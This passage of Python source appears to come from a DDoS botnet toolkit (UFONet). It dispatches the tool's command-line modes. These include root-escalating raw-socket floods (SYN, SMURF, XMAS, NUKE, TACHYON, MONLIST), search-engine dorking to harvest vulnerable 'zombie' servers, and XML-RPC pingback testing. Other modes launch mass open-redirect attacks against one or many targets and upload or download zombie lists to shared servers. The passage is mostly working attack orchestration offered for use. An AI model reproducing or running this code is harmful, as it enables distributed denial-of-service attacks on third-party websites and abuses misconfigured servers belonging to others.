  389. print("-"*35)
  390. print('='*75, "\n")
  391. # run UFOSCAN tool (check EUID when running UFOSCAN)
  392. if options.xray:
  393. euid = self.checkeuid()
  394. if euid != 0:
  395. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  396. try:
  397. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  398. os.execlpe('sudo', *args)
  399. except:
  400. pass # keep running
  401. else:
  402. if not options.xrayps:
  403. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  404. ports = options.xrayps
  405. try:
  406. portX, portY = ports.split('-')
  407. try:
  408. portX = int(portX)
  409. portY = int(portY)
  410. except:
  411. portX = 1
  412. portY = 1024
  413. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  414. except:
  415. portX = 1
  416. portY = 1024
  417. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  418. self.banner()
  419. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  420. print('='*22 + '\n')
  421. try:
  422. self.instance = UFOSCAN() # instance main class for scanning operations
  423. xray = self.instance.scanning(options.xray, portX, portY)
  424. except Exception as e:
  425. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  426. if DEBUG == True:
  427. traceback.print_exc()
  428. return
  429. # show code timeline
  430. if options.timeline:
  431. f = open(self.timeline_file, 'r')
  432. releases = f.readlines()
  433. f.close()
  434. self.banner()
  435. print("-> Code timeline:")
  436. print('='*44)
  437. print("-"*35)
  438. for r in releases:
  439. print(r.strip('\n'))
  440. print("-"*35)
  441. print('='*75, "\n")
  442. # print some examples
  443. if options.examples:
  444. f = open(self.examples_file, 'r')
  445. examples = f.readlines()
  446. f.close()
  447. self.banner()
  448. for e in examples:
  449. print(e.strip('\n'))
  450. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  451. if options.ufosyn:
  452. euid = self.checkeuid()
  453. if euid != 0:
  454. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  455. try:
  456. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  457. os.execlpe('sudo', *args)
  458. except:
  459. pass # keep running, but UFOSYN will fail
  460. # check EUID when running SPRAY (root required)
  461. if options.spray:
  462. euid = self.checkeuid()
  463. if euid != 0:
  464. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  465. try:
  466. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  467. os.execlpe('sudo', *args)
  468. except:
  469. pass # keep running, but SPRAY will fail
  470. # check EUID when running SMURF (root required)
  471. if options.smurf:
  472. euid = self.checkeuid()
  473. if euid != 0:
  474. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  475. try:
  476. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  477. os.execlpe('sudo', *args)
  478. except:
  479. pass # keep running, but SMURF will fail
  480. # check EUID when running XMAS (root required)
  481. if options.xmas:
  482. euid = self.checkeuid()
  483. if euid != 0:
  484. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  485. try:
  486. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  487. os.execlpe('sudo', *args)
  488. except:
  489. pass # keep running, but XMAS will fail
  490. # check EUID when running NUKE (root required)
  491. if options.nuke:
  492. euid = self.checkeuid()
  493. if euid != 0:
  494. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  495. try:
  496. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  497. os.execlpe('sudo', *args)
  498. except:
  499. pass # keep running, but NUKE will fail
  500. # check EUID when running TACHYON (root required)
  501. if options.tachyon:
  502. euid = self.checkeuid()
  503. if euid != 0:
  504. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  505. try:
  506. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  507. os.execlpe('sudo', *args)
  508. except:
  509. pass # keep running, but TACHYON will fail
  510. # check EUID when running MONLIST (root required)
  511. if options.monlist:
  512. euid = self.checkeuid()
  513. if euid != 0:
  514. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  515. try:
  516. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  517. os.execlpe('sudo', *args)
  518. except:
  519. pass # keep running, but MONLIST will fail
  520. # search for [Zombies] on search engines results (dorking)
  521. if options.search:
  522. zombies = []
  523. if options.engine:
  524. engine = options.engine
  525. else:
  526. engine = "duck" # default search engine
  527. try:
  528. self.banner()
  529. if not os.path.exists(self.humans_file) == True:
  530. f = open(self.humans_file, 'w')
  531. f.close()
  532. lf = open(self.humans_file, 'r')
  533. restored = lf.readlines()
  534. zombies_restored = len(restored)
  535. lf.close()
  536. lz = open(self.zombies_file, 'r')
  537. zombies_army = lz.readlines()
  538. for zombie in zombies_army:
  539. zombies.append(zombie) # add zombies from army to the zombies pool
  540. lz.close()
  541. if len(restored) > 0:
  542. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  543. if not self.options.forceyes:
  544. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  545. print('-'*25)
  546. else:
  547. backup_reply = "Y"
  548. if backup_reply == "n" or backup_reply == "N":
  549. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  550. os.remove(self.humans_file)
  551. zombies_restored = 0 # flush zombies restored
  552. print('-'*25 + "\n")
  553. else:
  554. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  555. print('-'*25 + "\n")
  556. for zombie in restored:
  557. zombies.append(zombie) # add previous data to zombies pool
  558. if options.allengines:
  559. if options.ex_engine: # exclude some search engines manually
  560. exclude = options.ex_engine.split(",")
  561. for ex in exclude:
  562. ex = ex.lower()
  563. if ex in self.search_engines:
  564. if len(self.search_engines) == 1: # at least one should make it
  565. pass
  566. else:
  567. self.search_engines.remove(ex)
  568. for e in self.search_engines:
  569. engine = e
  570. print('='*44)
  571. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  572. print('='*44 + '\n')
  573. self.options.engine = engine
  574. try:
  575. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  576. if zombies_chain != None:
  577. for zombie in zombies_chain:
  578. if zombie not in zombies: # evade possible repetitions
  579. zombies.append(zombie)
  580. except:
  581. if zombies: # backup all new zombies found to file in case of exception
  582. for zombie in zombies:
  583. if zombie+os.linesep not in restored: # only append new zombies found
  584. with open(self.humans_file, "a") as f:
  585. f.write(str(zombie+os.linesep))
  586. else:
  587. if restored:
  588. print('='*44)
  589. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  590. print('='*44 + '\n')
  591. if restored: # from restored file
  592. try:
  593. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  594. if zombies_chain != None:
  595. for zombie in zombies_chain:
  596. if zombie not in zombies: # evade possible repetitions
  597. zombies.append(zombie)
  598. except:
  599. if zombies: # backup all new zombies found to file in case of exception
  600. for zombie in zombies:
  601. if zombie+os.linesep not in restored: # only append new zombies found
  602. with open(self.humans_file, "a") as f:
  603. f.write(str(zombie+os.linesep))
  604. else:
  605. try:
  606. zombies = self.search_zombies(dork='', zombies_found=zombies)
  607. except:
  608. if zombies: # backup all new zombies found to file in case of exception
  609. for zombie in zombies:
  610. if zombie+os.linesep not in restored: # only append new zombies found
  611. with open(self.humans_file, "a") as f:
  612. f.write(str(zombie+os.linesep))
  613. total_restored = zombies_restored
  614. new_zombies = 0 # new zombies counter
  615. f = open(self.zombies_file, 'r')
  616. zz = f.readlines()
  617. f.close()
  618. zombies_found = []
  619. for z in zombies:
  620. if z.endswith(os.linesep):
  621. z = z.replace(os.linesep, "")
  622. if z not in zz and z+os.linesep not in zz:
  623. new_zombies = new_zombies + 1
  624. zombies_found.append(z)
  625. print('='*62)
  626. print("\n- Victims found:", len(zombies_found), "\n")
  627. print(" - Restored:", total_restored)
  628. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  629. print('-'*32)
  630. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  631. print('='*62 + '\n')
  632. if len(zombies) > 0:
  633. if not self.options.forceyes:
  634. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  635. print('-'*25)
  636. else:
  637. check_backup_reply = "Y"
  638. if check_backup_reply == "n" or check_backup_reply == "N":
  639. if os.path.isfile(self.humans_file):
  640. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  641. print("\n[Info] [AI] Temporal data correctly removed...\n")
  642. else:
  643. with open(self.humans_file, "w") as f:
  644. for z in zombies_found:
  645. if z.endswith(os.linesep):
  646. z = z.replace(os.linesep, "")
  647. if z not in zz or z+os.linesep not in zz:
  648. f.write(z+os.linesep)
  649. f.close()
  650. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  651. print('-'*25 + "\n")
  652. if new_zombies and new_zombies > 0:
  653. if not self.options.forceyes:
  654. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  655. print('-'*25 + "\n")
  656. else:
  657. check_url_link_reply = "Y"
  658. if check_url_link_reply == "n" or check_url_link_reply == "N":
  659. print("[AI] "+self.exit_msg+"\n")
  660. pass
  661. else:
  662. print("\n" + '='*44)
  663. test = self.testing(zombies_found)
  664. else:
  665. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  666. except Exception:
  667. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  668. # search for [Zombies] from a list of [Dorks]
  669. if options.dorks:
  670. if options.engine:
  671. engine = options.engine
  672. else:
  673. engine = "duck" # default search engine
  674. try:
  675. dorks = self.extract_dorks()
  676. if not dorks:
  677. return
  678. zombies = []
  679. self.banner()
  680. if not os.path.exists(self.humans_file) == True:
  681. f = open(self.humans_file, 'w')
  682. f.close()
  683. lf = open(self.humans_file, 'r')
  684. restored = lf.readlines()
  685. zombies_restored = len(restored)
  686. lf.close()
  687. lz = open(self.zombies_file, 'r')
  688. zombies_army = lz.readlines()
  689. for zombie in zombies_army:
  690. zombies.append(zombie) # add zombies from army to the zombies pool
  691. lz.close()
  692. if len(restored) > 0:
  693. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  694. if not self.options.forceyes:
  695. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  696. print('-'*25)
  697. else:
  698. backup_reply = "Y"
  699. if backup_reply == "n" or backup_reply == "N":
  700. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  701. os.remove(self.humans_file)
  702. zombies_restored = 0 # flush zombies restored
  703. print('-'*25 + "\n")
  704. else:
  705. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  706. print('-'*25 + "\n")
  707. for zombie in restored:
  708. zombies.append(zombie) # add previous data to zombies pool
  709. total_restored = zombies_restored
  710. if options.allengines:
  711. if options.ex_engine: # exclude some search engines manually
  712. exclude = options.ex_engine.split(",")
  713. for ex in exclude:
  714. ex = ex.lower()
  715. if ex in self.search_engines:
  716. if len(self.search_engines) == 1: # at least one should make it
  717. pass
  718. else:
  719. self.search_engines.remove(ex)
  720. for e in self.search_engines:
  721. engine = e
  722. print('='*44)
  723. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  724. print('='*44 + '\n')
  725. self.options.engine = engine
  726. for dork in dorks:
  727. print('='*22)
  728. print("Dork:", dork)
  729. print('='*22 + '\n')
  730. try:
  731. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  732. for zombie in dorked_zombies:
  733. if zombie not in zombies: # evade repetitions for zombies found
  734. zombies.append(zombie)
  735. if zombie+os.linesep not in restored: # only append new zombies found
  736. with open(self.humans_file, "a") as f:
  737. f.write(str(zombie+os.linesep))
  738. f.close()
  739. except:
  740. if zombies: # backup new zombies found on exception
  741. for zombie in zombies:
  742. if zombie+os.linesep not in restored: # only append new zombies found
  743. with open(self.humans_file, "a") as f:
  744. f.write(str(zombie+os.linesep))
  745. f.close()
  746. else:
  747. if restored:
  748. print('='*44)
  749. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  750. print('='*44 + '\n')
  751. for dork in dorks:
  752. print('='*22)
  753. print("Dork:", dork)
  754. print('='*22 + '\n')
  755. try:
  756. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  757. if dorked_zombies != None:
  758. for zombie in dorked_zombies:
  759. if zombie not in zombies: # evade repetitions for zombies found
  760. zombies.append(zombie)
  761. except:
  762. if zombies: # backup new zombies found on exception
  763. for zombie in zombies:
  764. if zombie+os.linesep not in restored: # only append new zombies found
  765. with open(self.humans_file, "a") as f:
  766. f.write(str(zombie+os.linesep))
  767. f.close()
  768. new_zombies = 0 # new zombies counter
  769. f = open(self.zombies_file, 'r')
  770. zz = f.readlines()
  771. f.close()
  772. zombies_found = []
  773. for z in zombies:
  774. if z.endswith(os.linesep):
  775. z = z.replace(os.linesep, "")
  776. if z not in zz and z+os.linesep not in zz:
  777. new_zombies = new_zombies + 1
  778. zombies_found.append(z)
  779. print('='*62)
  780. print("\n- Victims found:", len(zombies_found), "\n")
  781. print(" - Restored:", total_restored)
  782. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  783. print('-'*32)
  784. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  785. print('='*62 + '\n')
  786. if len(zombies_found) > 0:
  787. if not self.options.forceyes:
  788. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  789. print('-'*25)
  790. else:
  791. check_backup_reply = "Y"
  792. if check_backup_reply == "n" or check_backup_reply == "N":
  793. if os.path.isfile(self.humans_file):
  794. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  795. print("\n[Info] [AI] Temporal data correctly removed...\n")
  796. else:
  797. with open(self.humans_file, "w") as f:
  798. for z in zombies_found:
  799. if z.endswith(os.linesep):
  800. z = z.replace(os.linesep, "")
  801. if z not in zz or z+os.linesep not in zz:
  802. f.write(z+os.linesep)
  803. f.close()
  804. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  805. print('-'*25 + "\n")
  806. if new_zombies and new_zombies > 0:
  807. if not self.options.forceyes:
  808. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  809. print('-'*25 + "\n")
  810. else:
  811. check_url_link_reply = "Y"
  812. if check_url_link_reply == "n" or check_url_link_reply == "N":
  813. print("[AI] "+self.exit_msg+"\n")
  814. pass
  815. else:
  816. print("\n" + '='*44)
  817. test = self.testing(zombies_found)
  818. else:
  819. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  820. except Exception:
  821. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  822. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  823. if options.autosearch:
  824. try:
  825. dorks = self.extract_dorks()
  826. except:
  827. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  828. return
  829. engines_list = self.search_engines
  830. stop_flag = False # use a flag to establish an end
  831. try:
  832. self.banner()
  833. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  834. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  835. print('-'*25 + "\n")
  836. zombies_found = []
  837. lz = open(self.zombies_file, 'r')
  838. zombies_army = lz.readlines()
  839. for zombie in zombies_army:
  840. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  841. lz.close()
  842. if not os.path.exists(self.humans_file) == True:
  843. f = open(self.humans_file, 'w')
  844. f.close()
  845. lf = open(self.humans_file, 'r')
  846. restored = lf.readlines()
  847. zombies_restored = len(restored)
  848. lf.close()
  849. if len(restored) > 0:
  850. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  851. if not self.options.forceyes:
  852. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  853. print('-'*25)
  854. else:
  855. backup_reply = "Y"
  856. if backup_reply == "n" or backup_reply == "N":
  857. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  858. os.remove(self.humans_file)
  859. zombies_restored = 0 # flush zombies restored
  860. print('-'*25 + "\n")
  861. else:
  862. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  863. print('-'*25 + "\n")
  864. for zombie in restored:
  865. zombies_found.append(zombie) # add previous data to zombies found pool
  866. total_restored = zombies_restored
  867. while stop_flag == False:
  868. if not os.path.exists(self.humans_file) == True:
  869. f = open(self.humans_file, 'w')
  870. f.close()
  871. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  872. restored = lf.readlines()
  873. lf.close()
  874. zombies_restored = len(restored)
  875. for e in engines_list:
  876. zombies_counter = 0 # use it also as (engine) flag
  877. engine = e
  878. self.options.engine = engine
  879. print('='*44 + '\n')
  880. print(("[AI] Searching for zombies using: "+engine+'\n'))
  881. print('='*44 + '\n')
  882. for dork in dorks:
  883. print('='*22)
  884. print("Dork:", dork)
  885. print('='*22 + '\n')
  886. try:
  887. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  888. for zombie in dorked_zombies:
  889. if zombie not in zombies_found: # evade repetitions for zombies found
  890. zombies_found.append(zombie)
  891. if zombie+os.linesep not in restored: # only append new zombies found
  892. with open(self.humans_file, "a") as f:
  893. f.write(str(zombie+os.linesep))
  894. f.close()
  895. zombies_counter = zombies_counter + 1
  896. except:
  897. if zombies_found: # backup new zombies found on exception
  898. for zombie in zombies_found:
  899. if zombie+os.linesep not in restored: # only append new zombies found
  900. with open(self.humans_file, "a") as f:
  901. f.write(str(zombie+os.linesep))
  902. f.close()
  903. if zombies_counter == 0:
  904. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  905. print('-'*25 + "\n")
  906. engines_list.remove(engine) # remove not more results engine from search engines list
  907. if not engines_list: # if search engines empty, call return-exit routine
  908. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  909. print('-'*25 + "\n")
  910. stop_flag = True # exit flag up
  911. new_zombies = 0 # new zombies counter
  912. f = open(self.zombies_file, 'r')
  913. zz = f.readlines()
  914. f.close()
  915. all_zombies_found = []
  916. for z in zombies_found:
  917. if z.endswith(os.linesep):
  918. z = z.replace(os.linesep, "")
  919. if z not in zz and z+os.linesep not in zz:
  920. new_zombies = new_zombies + 1
  921. all_zombies_found.append(z)
  922. print('='*62)
  923. print("\n- Victims found:", len(all_zombies_found), "\n")
  924. print(" - Restored:", total_restored)
  925. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  926. print('-'*32)
  927. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  928. print('='*62 + '\n')
  929. if len(zombies_found) > 0:
  930. if not self.options.forceyes:
  931. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  932. print('-'*25)
  933. else:
  934. check_backup_reply = "Y"
  935. if check_backup_reply == "n" or check_backup_reply == "N":
  936. if os.path.isfile(self.humans_file):
  937. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  938. print("\n[Info] [AI] Temporal data correctly removed...\n")
  939. else:
  940. with open(self.humans_file, "w") as f:
  941. for z in all_zombies_found:
  942. if z.endswith(os.linesep):
  943. z = z.replace(os.linesep, "")
  944. if z not in zz or z+os.linesep not in zz:
  945. f.write(z+os.linesep)
  946. f.close()
  947. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  948. print('-'*25 + "\n")
  949. if new_zombies and new_zombies > 0:
  950. if not self.options.forceyes:
  951. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  952. print('-'*25 + "\n")
  953. else:
  954. check_url_link_reply = "Y"
  955. if check_url_link_reply == "n" or check_url_link_reply == "N":
  956. print("[AI] "+self.exit_msg+"\n")
  957. pass
  958. else:
  959. print("\n" + '='*44)
  960. test = self.testing(all_zombies_found)
  961. else:
  962. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  963. except Exception:
  964. print ("[Error] [AI] Something wrong (auto)searching...\n")
  965. # test web 'zombie' servers -> show statistics
  966. if options.test:
  967. try:
  968. self.banner()
  969. zombies = self.extract_zombies()
  970. if not zombies:
  971. return
  972. test = self.testing(zombies)
  973. self.update_missions_stats() # update mothership missions stats
  974. except Exception:
  975. print ("\n[Error] [AI] Something wrong testing!\n")
  976. if DEBUG == True:
  977. traceback.print_exc()
  978. # test XML-'rpc' pingback vulnerable servers -> update list
  979. if options.testrpc:
  980. try:
  981. self.banner()
  982. rpcs = self.extract_rpcs()
  983. if not rpcs:
  984. return
  985. testrpc = self.testing_rpcs(rpcs)
  986. self.update_missions_stats() # update mothership missions stats
  987. except Exception:
  988. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  989. if DEBUG == True:
  990. traceback.print_exc()
  991. # check botnet searching for zombies offline
  992. if options.testoffline:
  993. try:
  994. self.banner()
  995. testbotnet = self.testing_offline()
  996. self.update_missions_stats() # update mothership missions stats
  997. except Exception:
  998. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  999. if DEBUG == True:
  1000. traceback.print_exc()
  1001. # check ALL botnet status
  1002. if options.testall:
  1003. try:
  1004. self.banner()
  1005. test_all_botnet = self.testing_all()
  1006. self.update_missions_stats() # update mothership missions stats
  1007. except Exception:
  1008. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1009. if DEBUG == True:
  1010. traceback.print_exc()
  1011. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1012. if options.target:
  1013. try:
  1014. self.banner()
  1015. zombies = self.extract_zombies()
  1016. if not zombies:
  1017. return
  1018. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1019. attack = self.attacking(zombies, options.target)
  1020. self.update_missions_stats() # update mothership missions stats
  1021. except Exception:
  1022. print ("\n[Error] [AI] Something wrong attacking!\n")
  1023. if DEBUG == True:
  1024. traceback.print_exc()
  1025. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1026. if options.target_list:
  1027. try:
  1028. self.banner()
  1029. zombies = self.extract_zombies()
  1030. if not zombies:
  1031. return
  1032. targets = self.extract_target_list()
  1033. if not targets:
  1034. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1035. return
  1036. self.options.forceyes = True # force-yes ON!
  1037. self.num_target_list = 0
  1038. print("\n[AI] Checking integrity of targets...\n")
  1039. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1040. if not t.startswith("http"): # discarded inmediately
  1041. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1042. targets.remove(t) # ¿remove? invalid targets
  1043. print("")
  1044. c = 0
  1045. for target in targets:
  1046. if target == "":
  1047. c = c + 1
  1048. else:
  1049. self.num_target_list = self.num_target_list + 1
  1050. if c == len(targets):
  1051. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1052. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1053. else:
  1054. for target in targets:
  1055. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1056. target = self.options.target
  1057. print('='*55 + "\n")
  1058. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1059. print("="*55)
  1060. attack = self.attacking(zombies, target)
  1061. self.update_missions_stats() # update mothership missions stats (each target counts)
  1062. except Exception:
  1063. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1064. if DEBUG == True:
  1065. traceback.print_exc()
  1066. # inspect target -> inspect target's components sizes
  1067. if options.inspect:
  1068. try:
  1069. self.banner()
  1070. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1071. print('='*22 + '\n')
  1072. self.instance = Inspector(self) # instance main class for inspection operations
  1073. inspection = self.instance.inspecting(options.inspect)
  1074. self.update_missions_stats() # update mothership missions stats
  1075. except Exception as e:
  1076. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1077. if DEBUG == True:
  1078. traceback.print_exc()
  1079. return #sys.exit(2)
  1080. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1081. if options.abduction:
  1082. try:
  1083. self.banner()
  1084. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1085. print('='*22 + '\n')
  1086. self.instance = Abductor(self) # instance main class for abduction operations
  1087. abduction = self.instance.abducting(options.abduction)
  1088. self.update_missions_stats() # update mothership missions stats
  1089. except Exception as e:
  1090. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1091. if DEBUG == True:
  1092. traceback.print_exc()
  1093. return #sys.exit(2)
  1094. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1095. if options.attackme:
  1096. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1097. try:
  1098. self.banner()
  1099. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1100. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1101. if not self.options.forceyes:
  1102. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1103. else:
  1104. update_reply = "Y"
  1105. if update_reply == "n" or update_reply == "N":
  1106. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1107. return
  1108. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1109. print("\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash)
  1110. print("\n[AI] Checking NAT/IP configuration:\n")
  1111. nat = self.check_nat()
  1112. f = open("alien", "w") # generate random alien worker
  1113. f.write(str(self.mothership_hash))
  1114. f.close()
  1115. if self.nat_error_flag == "ON":
  1116. return
  1117. zombies = self.extract_zombies()
  1118. if not zombies:
  1119. return
  1120. attackme = self.attackme(zombies)
  1121. self.update_missions_stats() # update mothership missions stats
  1122. except Exception as e:
  1123. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1124. if DEBUG == True:
  1125. traceback.print_exc()
  1126. return #sys.exit(2)
  1127. # check/update for latest stable version
  1128. if options.update:
  1129. self.banner()
  1130. try:
  1131. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1132. Updater()
  1133. except:
  1134. print("Not any .git repository found!\n")
  1135. print("="*30)
  1136. print("\nTo have working this feature, you should clone UFONet with:\n")
  1137. print("$ git clone %s" % self.GIT_REPOSITORY)
  1138. print("\nAlso you can try this other mirror:\n")
  1139. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1140. # launch GUI/Web interface
  1141. if options.web:
  1142. self.create_web_interface()
  1143. return
  1144. # generate [Blackhole] server to share [Zombies]
  1145. if options.blackhole is not None:
  1146. self.banner()
  1147. try:
  1148. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1149. sys.path.append(blackhole_lib)
  1150. from core.tools.blackhole import BlackHole
  1151. print("\n[AI] Initiating void generation sequence...\n")
  1152. print('='*22 + '\n')
  1153. app = BlackHole()
  1154. app.start()
  1155. while True: time.sleep(1)
  1156. except KeyboardInterrupt:
  1157. print("\n[AI] Terminating void generation sequence...\n")
  1158. app.collapse()
  1159. except Exception as e:
  1160. print("[Error] "+str(e))
  1161. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1162. # create [Griger] server to share [Stats/Wargames/Messages]
  1163. if options.grider is not None:
  1164. self.banner()
  1165. try:
  1166. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1167. sys.path.append(grider_lib)
  1168. from core.tools.grider import Grider
  1169. print("\n[AI] Initiating void generation sequence...\n")
  1170. print('='*22 + '\n')
  1171. app = Grider()
  1172. app.start()
  1173. while True: time.sleep(1)
  1174. except KeyboardInterrupt:
  1175. print("\n[AI] Terminating void generation sequence...\n")
  1176. app.collapse()
  1177. except Exception as e:
  1178. print("[Error] "+str(e))
  1179. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1180. # download list of [Zombies] from a [Blackhole] IP
  1181. if options.dip is not None:
  1182. options.download = True
  1183. self.blackhole = options.dip
  1184. # upload list of [Zombies] to a [Blackhole] IP
  1185. if options.upip is not None:
  1186. options.upload = True
  1187. self.blackhole = options.upip
  1188. # download list of [Zombies] from Community server [20/01/2020 OK!]
  1189. if options.download:
  1190. try:
  1191. self.banner()
  1192. if options.dip is not None:
  1193. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1194. else:
  1195. print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
  1196. print('='*22 + '\n')
  1197. download_list = self.downloading_list()
  1198. except Exception as e:
  1199. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1200. return
  1201. # upload list of [Zombies] to Community server [20/01/2020 OK!]
  1202. if options.upload:
  1203. try:
  1204. self.banner()
  1205. if options.upip is not None:
  1206. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1207. else:
  1208. print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
  1209. print('='*22 + '\n')
  1210. upload_list = self.uploading_list()
  1211. except Exception as e:
  1212. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1213. if DEBUG == True:
  1214. traceback.print_exc()
  1215. return #sys.exit(2)
  1216. # download list of [Zombies] from GitHub server [20/01/2020 OK!]
  1217. if options.download_github:
  1218. try:
  1219. self.banner()
